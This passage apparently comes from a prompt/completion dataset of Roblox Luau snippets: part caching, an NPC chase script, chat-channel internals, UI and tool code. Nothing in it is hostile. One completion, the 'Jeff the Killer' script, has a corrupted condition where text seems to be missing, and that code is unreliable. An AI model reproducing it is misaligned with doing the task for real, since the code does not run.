\"The template's Archivable property has been set to false, which prevents it from being cloned. It will temporarily be set to true.\")\n\t\n\tlocal oldArchivable = template.Archivable\n\ttemplate.Archivable = true\n\tlocal newTemplate: BasePart = template:Clone()\n\t-- ^ Ignore W000 type mismatch between Instance and BasePart. False alert.\n\t\n\ttemplate.Archivable = oldArchivable\n\ttemplate = newTemplate\n\t\n\tlocal object: PartCache = {\n\t\tOpen = {},\n\t\tInUse = {},\n\t\tCurrentCacheParent = newCurrentCacheParent,\n\t\tTemplate = template,\n\t\tExpansionSize = 100\n\t}\n\tsetmetatable(object, PartCacheStatic)\n\t\n\t-- Below: Ignore type mismatch nil | number and the nil | Instance mismatch on the table.insert line.\n\tfor _ = 1, newNumPrecreatedParts do\n\t\ttable.insert(object.Open, MakeFromTemplate(template, object.CurrentCacheParent))\n\tend\n\tobject.Template.Parent = nil\n\t\n\treturn object\n\t-- ^ Ignore mismatch here too\nend\n"} +{"prompt": "--[[if JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild(\"Thumbnail\")then]]--\n--[[JeffTheKiller:FindFirstChild(\"Thumbnail\"):Destroy();]]--\n--[[end;]]", "completion": "--\nlocal JeffTheKillerHumanoid;\nfor _,Child in pairs(JeffTheKiller:GetChildren())do\nif Child and Child.ClassName==\"Humanoid\"and Child.Health~=0 then\nJeffTheKillerHumanoid=Child;\nend;\nend;\nlocal AttackDebounce=false;\nlocal JeffTheKillerKnife=JeffTheKiller:FindFirstChild(\"Knife\");\nlocal JeffTheKillerHead=JeffTheKiller:FindFirstChild(\"Head\");\nlocal JeffTheKillerHumanoidRootPart=JeffTheKiller:FindFirstChild(\"HumanoidRootPart\");\nlocal WalkDebounce=false;\nlocal Notice=false;\nlocal JeffLaughDebounce=false;\nlocal MusicDebounce=false;\nlocal NoticeDebounce=false;\nlocal ChosenMusic;\nfunction FindNearestBae()\nlocal NoticeDistance=100000;\nlocal TargetMain;\nfor _,TargetModel in pairs(Game:GetService(\"Workspace\"):GetChildren())do\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and TargetModel.className==\"Model\"and TargetModel~=JeffTheKiller and TargetModel.Name~=JeffTheKiller.Name and TargetModel:FindFirstChild(\"Torso\")and TargetModel:FindFirstChild(\"Head\")then\nlocal TargetPart=TargetModel:FindFirstChild(\"Torso\");\nlocal FoundHumanoid;\nfor _,Child in pairs(TargetModel:GetChildren())do\nif Child and Child.ClassName==\"Humanoid\"and Child.Health~=0 then\nFoundHumanoid=Child;\nend;\nend;\nif TargetModel and TargetPart and FoundHumanoid and FoundHumanoid.Health~=0 and(TargetPart.Position-JeffTheKillerHumanoidRootPart.Position).magnitude=5 and not WalkDebounce and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then\nSpawn(function()\nWalkDebounce=true;\nlocal FiredRay=Ray.new(JeffTheKillerHumanoidRootPart.Position,Vector3.new(0,-4,0));\nlocal RayTarget,endPoint=Game:GetService(\"Workspace\"):FindPartOnRay(FiredRay,JeffTheKiller);\nif RayTarget then\nlocal JeffTheKillerHeadFootStepClone=JeffTheKillerHead:FindFirstChild(\"Jeff_Step\"):Clone();\nJeffTheKillerHeadFootStepClone.Parent=JeffTheKillerHead;\nJeffTheKillerHeadFootStepClone:Play();\nJeffTheKillerHeadFootStepClone:Destroy();\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed<17 then\nWait(0.5);\nelseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and JeffTheKillerHumanoid.WalkSpeed>17 then\nWait(0.2);\nend\nend;\nWalkDebounce=false;\nend);\nend;\nlocal MainTarget=FindNearestBae();\nlocal FoundHumanoid;\nif MainTarget then\nfor _,Child in pairs(MainTarget.Parent:GetChildren())do\nif Child and Child.ClassName==\"Humanoid\"and Child.Health~=0 then\nFoundHumanoid=Child;\nend;\nend;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and MainTarget.Parent and FoundHumanoid and FoundHumanoid.Jump then\nJeffTheKillerHumanoid.Jump=true;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<25 then\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")and not JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").IsPlaying then\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=1;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\"):Play();\nend;\nelseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>25 then\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").IsPlaying then\nif not JeffLaughDebounce then\nSpawn(function()\nJeffLaughDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")then JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume==0 or JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume<0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\"):Stop();\nJeffLaughDebounce=false;\nend);\nend;\nend;\nend;\nif not ChosenMusic and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<50 then\nlocal MusicChoice=math.random(1,2);\nif MusicChoice==1 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound1\")then\nChosenMusic=JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound1\");\nelseif MusicChoice==2 and JeffTheKillerScript and JeffTheKiller and JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound2\")then\nChosenMusic=JeffTheKiller:FindFirstChild(\"Jeff_Scene_Sound2\");\nend;\nif JeffTheKillerScript and JeffTheKiller and ChosenMusic and not ChosenMusic.IsPlaying then\nChosenMusic.Volume=0.5;\nChosenMusic:Play();\nend;\nelseif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 and MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>50 then\nif JeffTheKillerScript and JeffTheKiller and ChosenMusic and ChosenMusic.IsPlaying then\nif not MusicDebounce then\nSpawn(function()\nMusicDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;\nif ChosenMusic then\nChosenMusic.Volume=0;\nChosenMusic:Stop();\nend;\nChosenMusic=nil;\nMusicDebounce=false;\nend);\nend;\nend;\nend;\nif not MainTarget and not JeffLaughDebounce then\nSpawn(function()\nJeffLaughDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\")then JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume-0.1;else break;end;until JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume==0 or JeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume<0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\").Volume=0;\nJeffTheKillerHead:FindFirstChild(\"Jeff_Laugh\"):Stop();\nJeffLaughDebounce=false;\nend);\nend;\nif not MainTarget and not MusicDebounce then\nSpawn(function()\nMusicDebounce=true;\nrepeat Wait(0);if JeffTheKillerScript and JeffTheKiller and ChosenMusic then ChosenMusic.Volume=ChosenMusic.Volume-0.01;else break;end;until ChosenMusic.Volume==0 or ChosenMusic.Volume<0;\nif ChosenMusic then\nChosenMusic.Volume=0;\nChosenMusic:Stop();\nend;\nChosenMusic=nil;\nMusicDebounce=false;\nend);\nend;\nif MainTarget then\nNotice=true;\nif Notice and not NoticeDebounce and JeffTheKillerScript and JeffTheKiller and JeffTheKillerHead and JeffTheKillerHead:FindFirstChild(\"Jeff_Susto2\")then\nJeffTheKillerHead:FindFirstChild(\"Jeff_Susto2\"):Play();\nNoticeDebounce=true;\nend\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then\nif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude>5 then\nJeffTheKillerHumanoid.WalkSpeed=11;\nelseif MainTarget and FoundHumanoid and FoundHumanoid.Health~=0 and(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).magnitude<5 then\nJeffTheKillerHumanoid.WalkSpeed=11;\nend;\nJeffTheKillerHumanoid:MoveTo(MainTarget.Position+(MainTarget.Position-JeffTheKillerHumanoidRootPart.Position).unit*2,Game:GetService(\"Workspace\"):FindFirstChild(\"Terrain\"));\nend;\nelse\nNotice=false;\nNoticeDebounce=false;\nlocal RandomWalk=math.random(1,150);\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Health~=0 then\nJeffTheKillerHumanoid.WalkSpeed=12;\nif RandomWalk==1 then\nJeffTheKillerHumanoid:MoveTo(Game:GetService(\"Workspace\"):FindFirstChild(\"Terrain\").Position+Vector3.new(math.random(-2048,2048),0,math.random(-2048,2048)),Game:GetService(\"Workspace\"):FindFirstChild(\"Terrain\"));\nend;\nend;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid then\nJeffTheKillerHumanoid.DisplayDistanceType=\"None\";\nJeffTheKillerHumanoid.HealthDisplayDistance=0;\nJeffTheKillerHumanoid.Name=\"ColdBloodedKiller\";\nJeffTheKillerHumanoid.NameDisplayDistance=0;\nJeffTheKillerHumanoid.NameOcclusion=\"EnemyOcclusion\";\nJeffTheKillerHumanoid.AutoJumpEnabled=true;\nJeffTheKillerHumanoid.AutoRotate=true;\nJeffTheKillerHumanoid.MaxHealth=500;\nJeffTheKillerHumanoid.JumpPower=60;\nJeffTheKillerHumanoid.MaxSlopeAngle=89.9;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoJumpEnabled then\nJeffTheKillerHumanoid.AutoJumpEnabled=true;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and not JeffTheKillerHumanoid.AutoRotate then\nJeffTheKillerHumanoid.AutoRotate=true;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.PlatformStand then\nJeffTheKillerHumanoid.PlatformStand=false;\nend;\nif JeffTheKillerScript and JeffTheKiller and JeffTheKillerHumanoid and JeffTheKillerHumanoid.Sit then\nJeffTheKillerHumanoid.Sit=false;\nend;\nend;"} +{"prompt": "-- Bind the input event", "completion": "\ngame:GetService(\"UserInputService\").InputBegan:Connect(onInput)\ngame:GetService(\"UserInputService\").InputEnded:Connect(onInput)\n"} +{"prompt": "-- Define the player and the distance in front of them to place the part", "completion": "\nlocal player = game.Players.LocalPlayer\nlocal distance = 5\n"} +{"prompt": "-- Modificar el da\u00f1o que quieras hacerle", "completion": "\nlocal DAMAGE = 5\nlocal eventEquip = script.Parent.Equip\nlocal eventAttack = script.Parent.Attack\n"} +{"prompt": "--[=[\n\tAlias for `trove:Clean()`.\n]=]", "completion": "\nfunction Trove:Destroy()\n\tself:Clean()\nend\n\nreturn Trove\n"} +{"prompt": "--[[Wheel Alignment]]", "completion": "\n\t--[Don't physically apply alignment to wheels]\n\t--[Values are in degrees]\n\tTune.FCamber\t\t= 0\n\tTune.RCamber\t\t= 0\n\tTune.FCaster\t\t= 0\n\tTune.RCaster\t\t= 0\n\tTune.FToe\t\t\t= 0\n\tTune.RToe\t\t\t= 0\n\t"} +{"prompt": "-- ROBLOX deviation: helper function moved to RobloxShared and no longer needed here\n-- local isObject = RobloxShared.expect.isObject\n-- local isObjectWithKeys = RobloxShared.expect.isObjectWithKeys", "completion": "\n\nlocal subsetEquality = RobloxShared.expect.subsetEquality\n\nlocal function typeEquality(a: any, b: any): boolean | nil\n\tif a == nil or b == nil then\n\t\treturn nil\n\tend\n\n\tif typeof(a) ~= typeof(b) then\n\t\treturn false\n\tend\n\n\tif not getmetatable(a) and not getmetatable(b) then\n\t\treturn nil\n\tend\n\n\tif\n\t\tgetmetatable(a)\n\t\tand getmetatable(b)\n\t\tand getmetatable(a).__index\n\t\tand getmetatable(b).__index\n\t\tand getmetatable(a).__index == getmetatable(b).__index\n\tthen\n\t\treturn nil\n\tend\n\n\treturn false\nend\n"} +{"prompt": "-- Public Methods", "completion": "\n\nfunction DropdownClass:Set(option)\n\tif (self._Selected ~= option) then\n\t\tself._Selected = option\n\t\tself._ChangedBind:Fire(option)\n\t\tself.Button.Option.Text = option.Text\n\tend\n\tself:Show(false)\nend\n\nfunction DropdownClass:Get()\n\treturn self._Selected\nend\n\nfunction DropdownClass:Show(bool)\n\tself.Button.Arrow.Image = bool and ARROW_UP or ARROW_DOWN\n\tself.ListFrame.Visible = bool\nend\n\nfunction DropdownClass:Destroy()\n\tself._Maid:Sweep()\n\tself._ChangedBind:Destroy()\n\tself._Changed = nil\n\tself._Options = nil\n\tself._Selected = nil\nend\n"} +{"prompt": "--[[ Utility Functions ]]", "completion": "--\nlocal function IsFinite(num: number)\n\treturn num == num and num ~= 1/0 and num ~= -1/0\nend\n\nlocal function IsFiniteVector3(vec3)\n\treturn IsFinite(vec3.x) and IsFinite(vec3.y) and IsFinite(vec3.z)\nend\n\nlocal movementUpdateEvent = Instance.new(\"BindableEvent\")\nmovementUpdateEvent.Name = \"MovementUpdate\"\nmovementUpdateEvent.Parent = script\n\ncoroutine.wrap(function()\n\tlocal PathDisplayModule = script.Parent:WaitForChild(\"PathDisplay\")\n\tif PathDisplayModule then\n\t\tPathDisplay = require(PathDisplayModule)\n\tend\nend)()\n\n"} +{"prompt": "--[[\n\t\nhs = script.HearScript:clone()\nhs.Parent = char\nwait(0.1)\nhs.Disabled = false\n--]]", "completion": "\n\n\nfunction Chat(msg, player)\n\tif player.Character:findFirstChild(\"Torso\") and (player.Character.Torso.Position - char.Torso.Position).magnitude < 100 then\n\t\ttag = Instance.new(\"StringValue\")\n\t\ttag.Name = \"Message\"\n\t\ttag.Value = \"\"..player.Name..\": \"..msg..\"\"\n\t\ttag.Parent = play.PlayerGui.FujiHud.Hear\n\t\tprint(\"added to hear\")\n\tend\nend\n\n\tz = game.Players:GetPlayers() \nfor i= 1, #z do \n\tz[i].Chatted:connect(function(msg)\n\t\tprint(z[i], msg) \n\t\tChat(msg, z[i])\n\tend)\nend \n\nscript.Parent.Hear.ChildAdded:connect(function(child)\n\t\nif child.Name == \"Message\" then\nhear = script.Parent.Hear\nif hear:findFirstChild(\"E\") then"} +{"prompt": "--///////////////// Internal-Use Methods\n--//////////////////////////////////////", "completion": "\nfunction methods:InternalDestroy()\n\tfor i, speaker in pairs(self.Speakers) do\n\t\tspeaker:LeaveChannel(self.Name)\n\tend\n\n\tself.eDestroyed:Fire()\n\n\tself.eDestroyed:Destroy()\n\tself.eMessagePosted:Destroy()\n\tself.eSpeakerJoined:Destroy()\n\tself.eSpeakerLeft:Destroy()\n\tself.eSpeakerMuted:Destroy()\n\tself.eSpeakerUnmuted:Destroy()\nend\n\nfunction methods:InternalDoMessageFilter(speakerName, messageObj, channel)\n\tlocal filtersIterator = self.FilterMessageFunctions:GetIterator()\n\tfor funcId, func, priority in filtersIterator do\n\t\tlocal success, errorMessage = pcall(function()\n\t\t\tfunc(speakerName, messageObj, channel)\n\t\tend)\n\n\t\tif not success then\n\t\t\twarn(string.format(\"DoMessageFilter Function '%s' failed for reason: %s\", funcId, errorMessage))\n\t\tend\n\tend\nend\n\nfunction methods:InternalDoProcessCommands(speakerName, message, channel)\n\tlocal commandsIterator = self.ProcessCommandsFunctions:GetIterator()\n\tfor funcId, func, priority in commandsIterator do\n\t\tlocal success, returnValue = pcall(function()\n\t\t\tlocal ret = func(speakerName, message, channel)\n\t\t\tif type(ret) ~= \"boolean\" then\n\t\t\t\terror(\"Process command functions must return a bool\")\n\t\t\tend\n\t\t\treturn ret\n\t\tend)\n\n\t\tif not success then\n\t\t\twarn(string.format(\"DoProcessCommands Function '%s' failed for reason: %s\", funcId, returnValue))\n\t\telseif returnValue then\n\t\t\treturn true\n\t\tend\n\tend\n\n\treturn false\nend\n\nfunction methods:InternalPostMessage(fromSpeaker, message, extraData)\n\tif (self:InternalDoProcessCommands(fromSpeaker.Name, message, self.Name)) then return false end\n\n\tif (self.Mutes[fromSpeaker.Name:lower()] ~= nil) then\n\t\tlocal t = self.Mutes[fromSpeaker.Name:lower()]\n\t\tif (t > 0 and os.time() > t) then\n\t\t\tself:UnmuteSpeaker(fromSpeaker.Name)\n\t\telse\n\t\t\tself:SendSystemMessageToSpeaker(ChatLocalization:FormatMessageToSend(\"GameChat_ChatChannel_MutedInChannel\",\"You are muted and cannot talk in this channel\"), fromSpeaker.Name)\n\t\t\treturn false\n\t\tend\n\tend\n\n\tlocal messageObj = self:InternalCreateMessageObject(message, fromSpeaker.Name, false, extraData)\n\n\t-- allow server to process the unfiltered message string\n\tmessageObj.Message = message\n\tlocal processedMessage\n\tpcall(function()\n\t\tprocessedMessage = Chat:InvokeChatCallback(Enum.ChatCallbackType.OnServerReceivingMessage, messageObj)\n\tend)\n\tmessageObj.Message = nil\n\n\tif processedMessage then\n\n\t\t-- developer server code's choice to mute the message\n\t\tif processedMessage.ShouldDeliver == false then\n\t\t\treturn false\n\t\tend\n\t\tmessageObj = processedMessage\n\tend\n\n\tmessage = self:SendMessageObjToFilters(message, messageObj, fromSpeaker)\n\n\tlocal sentToList = {}\n\tfor i, speaker in pairs(self.Speakers) do\n\t\tlocal isMuted = speaker:IsSpeakerMuted(fromSpeaker.Name)\n\t\tif not isMuted and self:CanCommunicate(fromSpeaker, speaker) then\n\t\t\ttable.insert(sentToList, speaker.Name)\n\t\t\tif speaker.Name == fromSpeaker.Name then\n\t\t\t\t-- Send unfiltered message to speaker who sent the message.\n\t\t\t\tlocal cMessageObj = ShallowCopy(messageObj)\n\t\t\t\tif userShouldMuteUnfilteredMessage then\n\t\t\t\t\tlocal messageLength = messageObj.MessageLengthUtf8 or messageObj.MessageLength\n\t\t\t\t\tcMessageObj.Message = string.rep(\"_\", messageLength)\n\t\t\t\telse\n\t\t\t\t\tcMessageObj.Message = message\n\t\t\t\tend\n\t\t\t\tcMessageObj.IsFiltered = true\n\t\t\t\t-- We need to claim the message is filtered even if it not in this case for compatibility with legacy client side code.\n\t\t\t\tspeaker:InternalSendMessage(cMessageObj, self.Name)\n\t\t\telse\n\t\t\t\tspeaker:InternalSendMessage(messageObj, self.Name)\n\t\t\tend\n\t\tend\n\tend\n\n\tlocal success, err = pcall(function() self.eMessagePosted:Fire(messageObj) end)\n\tif not success and err then\n\t\tprint(\"Error posting message: \" ..err)\n\tend\n\n\tlocal textFilterContext = self.Private and Enum.TextFilterContext.PrivateChat or Enum.TextFilterContext.PublicChat\n\tlocal filterSuccess, isFilterResult, filteredMessage = self.ChatService:InternalApplyRobloxFilterNewAPI(\n\t\tmessageObj.FromSpeaker,\n\t\tmessage,\n\t\ttextFilterContext\n\t)\n\tif (filterSuccess) then\n\t\tmessageObj.FilterResult = filteredMessage\n\t\tmessageObj.IsFilterResult = isFilterResult\n\telse\n\t\tif UserFlagRemoveMessageOnTextFilterFailures then\n\t\t\tmessageObj.IsFilterResult = false\n\t\t\tmessageObj.FilterResult = \"\"\n\t\t\tmessageObj.MessageLength = 0\n\t\telse\n\t\t\treturn false\n\t\tend\n\tend\n\tmessageObj.IsFiltered = true\n\tself:InternalAddMessageToHistoryLog(messageObj)\n\n\tfor _, speakerName in pairs(sentToList) do\n\t\tlocal speaker = self.Speakers[speakerName]\n\t\tif (speaker) then\n\t\t\tspeaker:InternalSendFilteredMessageWithFilterResult(messageObj, self.Name)\n\t\tend\n\tend\n\n\t-- One more pass is needed to ensure that no speakers do not recieve the message.\n\t-- Otherwise a user could join while the message is being filtered who had not originally been sent the message.\n\tlocal speakersMissingMessage = {}\n\tfor _, speaker in pairs(self.Speakers) do\n\t\tlocal isMuted = speaker:IsSpeakerMuted(fromSpeaker.Name)\n\t\tif not isMuted and self:CanCommunicate(fromSpeaker, speaker) then\n\t\t\tlocal wasSentMessage = false\n\t\t\tfor _, sentSpeakerName in pairs(sentToList) do\n\t\t\t\tif speaker.Name == sentSpeakerName then\n\t\t\t\t\twasSentMessage = true\n\t\t\t\t\tbreak\n\t\t\t\tend\n\t\t\tend\n\t\t\tif not wasSentMessage then\n\t\t\t\ttable.insert(speakersMissingMessage, speaker.Name)\n\t\t\tend\n\t\tend\n\tend\n\n\tfor _, speakerName in pairs(speakersMissingMessage) do\n\t\tlocal speaker = self.Speakers[speakerName]\n\t\tif speaker then\n\t\t\tspeaker:InternalSendFilteredMessageWithFilterResult(messageObj, self.Name)\n\t\tend\n\tend\n\n\treturn messageObj\nend\n\nfunction methods:InternalAddSpeaker(speaker)\n\tif (self.Speakers[speaker.Name]) then\n\t\twarn(\"Speaker \\\"\" .. speaker.name .. \"\\\" is already in the channel!\")\n\t\treturn\n\tend\n\n\tself.Speakers[speaker.Name] = speaker\n\tlocal success, err = pcall(function() self.eSpeakerJoined:Fire(speaker.Name) end)\n\tif not success and err then\n\t\tprint(\"Error removing channel: \" ..err)\n\tend\nend\n\nfunction methods:InternalRemoveSpeaker(speaker)\n\tif (not self.Speakers[speaker.Name]) then\n\t\twarn(\"Speaker \\\"\" .. speaker.name .. \"\\\" is not in the channel!\")\n\t\treturn\n\tend\n\n\tself.Speakers[speaker.Name] = nil\n\tlocal success, err = pcall(function() self.eSpeakerLeft:Fire(speaker.Name) end)\n\tif not success and err then\n\t\tprint(\"Error removing speaker: \" ..err)\n\tend\nend\n\nfunction methods:InternalRemoveExcessMessagesFromLog()\n\tlocal remove = table.remove\n\twhile (#self.ChatHistory > self.MaxHistory) do\n\t\tremove(self.ChatHistory, 1)\n\tend\nend\n\nfunction methods:InternalAddMessageToHistoryLog(messageObj)\n\ttable.insert(self.ChatHistory, messageObj)\n\n\tself:InternalRemoveExcessMessagesFromLog()\nend\n\nfunction methods:GetMessageType(message, fromSpeaker)\n\tif fromSpeaker == nil then\n\t\treturn ChatConstants.MessageTypeSystem\n\tend\n\treturn ChatConstants.MessageTypeDefault\nend\n\nfunction methods:InternalCreateMessageObject(message, fromSpeaker, isFiltered, extraData)\n\tlocal messageType = self:GetMessageType(message, fromSpeaker)\n\n\tlocal speakerUserId = -1\n\tlocal speakerDisplayName = nil\n\tlocal speaker = nil\n\n\tif fromSpeaker then\n\t\tspeaker = self.ChatService:GetSpeaker(fromSpeaker)\n\t\tif speaker then\n\t\t\tlocal player = speaker:GetPlayer()\n\t\t\tif player then\n\t\t\t\tspeakerUserId = player.UserId\n\n\t\t\t\tif ChatSettings.PlayerDisplayNamesEnabled then\n\t\t\t\t\tspeakerDisplayName = speaker:GetNameForDisplay()\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tspeakerUserId = 0\n\t\t\tend\n\t\tend\n\tend\n\n\tlocal messageObj =\n\t{\n\t\tID = self.ChatService:InternalGetUniqueMessageId(),\n\t\tFromSpeaker = fromSpeaker,\n\t\tSpeakerDisplayName = speakerDisplayName,\n\t\tSpeakerUserId = speakerUserId,\n\t\tOriginalChannel = self.Name,\n\t\tMessageLength = string.len(message),\n\t\tMessageLengthUtf8 = utf8.len(utf8.nfcnormalize(message)),\n\t\tMessageType = messageType,\n\t\tIsFiltered = isFiltered,\n\t\tMessage = isFiltered and message or nil,\n\t\t--// These two get set by the new API. The comments are just here\n\t\t--// to remind readers that they will exist so it's not super\n\t\t--// confusing if they find them in the code but cannot find them\n\t\t--// here.\n\t\t--FilterResult = nil,\n\t\t--IsFilterResult = false,\n\t\tTime = os.time(),\n\t\tExtraData = {},\n\t}\n\n\tif speaker then\n\t\tfor k, v in pairs(speaker.ExtraData) do\n\t\t\tmessageObj.ExtraData[k] = v\n\t\tend\n\tend\n\n\tif (extraData) then\n\t\tfor k, v in pairs(extraData) do\n\t\t\tmessageObj.ExtraData[k] = v\n\t\tend\n\tend\n\n\treturn messageObj\nend\n\nfunction methods:SetChannelNameColor(color)\n\tself.ChannelNameColor = color\n\tfor i, speaker in pairs(self.Speakers) do\n\t\tspeaker:UpdateChannelNameColor(self.Name, color)\n\tend\nend\n\nfunction methods:GetWelcomeMessageForSpeaker(speaker)\n\tif self.GetWelcomeMessageFunction then\n\t\tlocal welcomeMessage = self.GetWelcomeMessageFunction(speaker)\n\t\tif welcomeMessage then\n\t\t\treturn welcomeMessage\n\t\tend\n\tend\n\treturn self.WelcomeMessage\nend\n\nfunction methods:RegisterGetWelcomeMessageFunction(func)\n\tif type(func) ~= \"function\" then\n\t\terror(\"RegisterGetWelcomeMessageFunction must be called with a function.\")\n\tend\n\tself.GetWelcomeMessageFunction = func\nend\n\nfunction methods:UnRegisterGetWelcomeMessageFunction()\n\tself.GetWelcomeMessageFunction = nil\nend\n"} +{"prompt": "--// Services", "completion": "\nlocal L_100_ = game:GetService('RunService').RenderStepped\nlocal L_101_ = game:GetService('UserInputService')\n"} +{"prompt": "--[[\n\tprint(\"Started Clone Generation\")\n\tfor i,k in pairs(Players)do\n\t\tRS.Replicate:FireClient(player,k)\n\tend\n\tprint(\"Finished Clone Generation\")\n\t]]", "completion": "--\nend)\n"} +{"prompt": "--Made by Luckymaxer", "completion": "\n\nTool = script.Parent\nHandle = Tool:WaitForChild(\"Handle\")\n\nPlayers = game:GetService(\"Players\")\nRunService = game:GetService(\"RunService\")\nUserInputService = game:GetService(\"UserInputService\")\n\nAnimations = {}\n\nServerControl = Tool:WaitForChild(\"ServerControl\")\nClientControl = Tool:WaitForChild(\"ClientControl\")\n\nInputCheck = Instance.new(\"ScreenGui\")\nInputCheck.Name = \"InputCheck\"\nInputButton = Instance.new(\"ImageButton\")\nInputButton.Name = \"InputButton\"\nInputButton.Image = \"\"\nInputButton.BackgroundTransparency = 1\nInputButton.ImageTransparency = 1\nInputButton.Size = UDim2.new(1, 0, 1, 0)\nInputButton.Parent = InputCheck\n\nRate = (1 / 60)\n\nToolEquipped = false\n\nfunction SetAnimation(mode, value)\n\tif mode == \"PlayAnimation\" and value and ToolEquipped and Humanoid then\n\t\tfor i, v in pairs(Animations) do\n\t\t\tif v.Animation == value.Animation then\n\t\t\t\tv.AnimationTrack:Stop()\n\t\t\t\ttable.remove(Animations, i)\n\t\t\tend\n\t\tend\n\t\tlocal AnimationTrack = Humanoid:LoadAnimation(value.Animation)\n\t\ttable.insert(Animations, {Animation = value.Animation, AnimationTrack = AnimationTrack})\n\t\tAnimationTrack:Play(value.FadeTime, value.Weight, value.Speed)\n\telseif mode == \"StopAnimation\" and value then\n\t\tfor i, v in pairs(Animations) do\n\t\t\tif v.Animation == value.Animation then\n\t\t\t\tv.AnimationTrack:Stop(value.FadeTime)\n\t\t\t\ttable.remove(Animations, i)\n\t\t\tend\n\t\tend\n\tend\nend\n\nfunction CheckIfAlive()\n\treturn (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Player and Player.Parent) and true) or false)\nend\n\nfunction Equipped(Mouse)\n\tCharacter = Tool.Parent\n\tPlayer = Players:GetPlayerFromCharacter(Character)\n\tHumanoid = Character:FindFirstChild(\"Humanoid\")\n\tToolEquipped = true\n\tif not CheckIfAlive() then\n\t\treturn\n\tend\n\tspawn(function()\n\t\tPlayerMouse = Mouse\n\t\tMouse.Button1Down:connect(function()\n\t\t\tInvokeServer(\"Button1Click\", {Down = true})\n\t\tend)\n\t\tMouse.Button1Up:connect(function()\n\t\t\tInvokeServer(\"Button1Click\", {Down = false})\n\t\tend)\n\t\tMouse.KeyDown:connect(function(Key)\n\t\t\tInvokeServer(\"KeyPress\", {Key = Key, Down = true})\n\t\tend)\n\t\tMouse.KeyUp:connect(function(Key)\n\t\t\tInvokeServer(\"KeyPress\", {Key = Key, Down = false})\n\t\tend)\n\t\tlocal PlayerGui = Player:FindFirstChild(\"PlayerGui\")\n\t\tif PlayerGui then\n\t\t\tif UserInputService.TouchEnabled then\n\t\t\t\tInputCheckClone = InputCheck:Clone()\n\t\t\t\tInputCheckClone.InputButton.InputBegan:connect(function()\n\t\t\t\t\tInvokeServer(\"Button1Click\", {Down = 